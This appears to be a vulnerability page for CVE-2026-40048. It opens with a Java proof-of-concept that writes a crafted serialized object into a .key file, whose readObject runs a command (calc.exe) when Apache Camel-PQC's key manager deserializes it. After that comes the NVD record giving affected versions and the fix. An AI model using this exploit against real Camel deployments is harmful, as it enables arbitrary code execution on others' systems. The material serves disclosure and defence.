CVE-2026-40048

import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.io.Serializable; // Malicious payload class class ExploitPayload implements Serializable { private void readObject(java.io.ObjectInputStream in) throws java.io.IOException, ClassNotFoundException { in.defaultReadObject(); try { // Execute arbitrary command (e.g., calculator) Runtime.getRuntime().exec("calc.exe"); } catch (Exception e) { e.printStackTrace(); } } } public class GenerateExploit { public static void main(String[] args) { try { // The filename must correspond to a keyId expected by the application String filename = "exploit.key"; FileOutputStream fos = new FileOutputStream(filename); ObjectOutputStream oos = new ObjectOutputStream(fos); // Write the malicious object to the file oos.writeObject(new ExploitPayload()); oos.close(); System.out.println("Generated malicious file: " + filename); System.out.println("Place this file in the Camel key directory to trigger the vulnerability."); } catch (Exception e) { e.printStackTrace(); } } }

{"cve": {"id": "CVE-2026-40048", "sourceIdentifier": "[email protected]", "published": "2026-04-27T09:16:01.287", "lastModified": "2026-04-28T19:43:29.363", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Camel-PQC FileBasedKeyLifecycleManager class deserializes the contents of `<keyId>.key` files in the configured key directory using java.io.ObjectInputStream without applying any ObjectInputFilter or class-loading restrictions. The cast to `java.security.KeyPair` is evaluated only after `readObject()` has already returned, so any `readObject()` side effects in the deserialized object run before the type check. An attacker who can write to the key directory used by a Camel application — for example through a path traversal into the directory, misconfigured filesystem permissions on the volume where keys are stored, a compromised key provisioning pipeline, or a symlink attack — can place a crafted serialized Java object that, when deserialized during normal key lifecycle operations, results in arbitrary code execution in the context of the application.\n\nThis issue affects Apache Camel: from 4.19.0 before 4.20.0, from 4.18.0 before 4.18.2.\n\nUsers are recommended to upgrade to version 4.20.0, which fixes the issue by replacing java.io.ObjectInputStream-based key and metadata storage with standard PKCS#8 (private key) / X.509 SubjectPublicKeyInfo (public key) Base64 JSON encoding. For users on the 4.18.x LTS releases stream, upgrade to 4.18.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:camel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.18.0", "versionEndExcluding": "4.18.2", "matchCriteriaId": "964E4E5F-CDA3-4B7F-BF33-1C6B592FE11D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:camel:4.19.0:*:*:*:*:*:*:*", "matchCriteriaId": "EDA4D206-8808-4D2A-873E-8488DD7E3E16"}]}]}], "references": [{"url": "https://camel.apache.org/security/CVE-2026-40048.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/26/6", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}